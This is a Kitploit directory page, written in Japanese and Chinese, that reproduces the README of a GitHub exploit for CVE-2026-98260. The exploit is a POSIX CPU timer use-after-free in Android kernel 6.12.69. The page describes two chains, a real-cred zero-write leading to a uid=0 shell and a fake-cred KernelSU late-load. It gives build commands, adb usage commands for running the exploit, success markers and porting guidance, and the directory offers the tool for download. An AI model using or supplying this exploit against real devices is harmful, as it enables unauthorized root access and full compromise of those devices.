Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-98260 — Android カーネルの POSIX CPU タイマー use-after-free 脆弱性を悪用する 6.12.69 向けエクスプロイトで、偽の資格情報を利用して uid=0 のシェルまたは KernelSU の late-load を実現します。 | Kitploit
ツール/GitHubGitHub/yukonga/cve-2026-98260
Androidセキュリティ特権昇格メモリフォレンジックエクスプロイトポストエクスプロイトペイロード開発バイナリエクスプロイト
GitHubyukonga/cve-2026-98260

CVE-2026-98260

Android カーネルの POSIX CPU タイマー use-after-free 脆弱性を悪用する 6.12.69 向けエクスプロイトで、偽の資格情報を利用して uid=0 のシェルまたは KernelSU の late-load を実現します。

リポジトリを見る
451110日前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-98260 Timer LPE

6.12.69-android16-6-g242e1a07f878 的 CVE-2026-98260 POSIX CPU timer UAF 移植

2 つのチェーン:

  • timer:真の cred ゼロ書き込み → uid=0、u:r:shell:s0(shell ドメイン root、bset caps)
  • timer fake:fake cred(full caps)→ インストール版 KernelSU libksud.so late-load

ステータス

パス結果
real cred ゼロ書き込み + setuid(0) + exec shuid=0、u:r:shell:s0、ROOT_SHELL_OK
fake cred + ksud late-loadインストール版 libksud.so(uapi 6)、KSU_LOADED、su は u:r:ksu:s0

環境

  • 起動 ID:adb/shell(uid 2000、u:r:shell:s0)、tracefs と /proc/slabinfo を読み取り可能
  • KernelSU manager がインストール済み(me.weishu.kernelsu)の場合、fake は自動的にその lib/arm64/libksud.so を使用する

ビルド

NDK 28.2(aarch64、API 35):

cd timer
NDK=~/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
$NDK/aarch64-linux-android35-clang -O2 -std=gnu11 -static \
    -fno-stack-protector -fno-pic -I. \
    -ffunction-sections -fdata-sections timer.c -o timer \
    -Wl,--gc-sections -Wl,-s -Wl,--build-id=none \
    -Wl,-z,norelro -pthread

使用方法

adb push timer /data/local/tmp/timer
adb shell chmod 755 /data/local/tmp/timer

# 診断
adb shell /data/local/tmp/timer ids     # tracefs page event id を検出
adb shell /data/local/tmp/timer leak    # base/cred/task のリークのみ実行し、UAF はトリガーしない

# uid-0 shell(真の cred)
adb shell /data/local/tmp/timer         # id + context + ROOT_SHELL_OK
adb shell /data/local/tmp/timer shell   # 対話型 sh

# KernelSU(fake cred + インストール版 ksud)
adb shell 'cd /data/local/tmp && setsid ./timer fake >timer.log 2>&1 </dev/null &'
adb shell cat /data/local/tmp/timer.log

fake の成功マーカー:

[ksu] ksud=.../lib/arm64/libksud.so version=ksud 3.3.1-24-g528bafc5 (uapi: 6)
KSU_LOADED
kernelsu ... Live
adb shell /system/bin/su -c id   # uid=0 ... context=u:r:ksu:s0

セキュリティ

  • 失敗した state は park して zombie を保持する。kill しないこと。再起動が唯一の安全なクリーンアップ方法
  • fake 成功後、親プロセスも park し、socket で fake cred ページを保持する
  • UAF トリガー後、parked プロセスに対して timeout/kill を実行しないこと。そうしないと init が stale node を回収して panic する可能性がある
  • ハードリブート後は ksu root が消える。KernelSU のソフトリブートをシミュレートしても ksu root は消えない

ディレクトリ

timer/timer.c      exploit
timer/timer        静的成果物
tools/*.c          移植診断ソース

ターゲットと移植

主要な定数は timer/timer.c にハードコードされている:do_timer_create/copy_process サイト、selinux_state、panic_on_warn、copy_process task cache サイズ、init_* シンボル

カーネルを変更する際は、デバイスの boot.img/BTF/kallsyms を使って再導出する。tools/ 配下のファイルは、call site、raw record、timer リーク、および 8 KiB AF_UNIX 回収チャネルの確認に使用する

参考

  • woshigenm/CVE-2026-98260(MIT):trigger、real-cred ゼロ書き込み、fake cred/KSU のアイデア
  • ghostlock-app:KernelSU late-load の最終段階
  • その他の CVE-2026-98260 移植プロジェクト:order-1 回収とトリガータイミング
ツールをダウンロード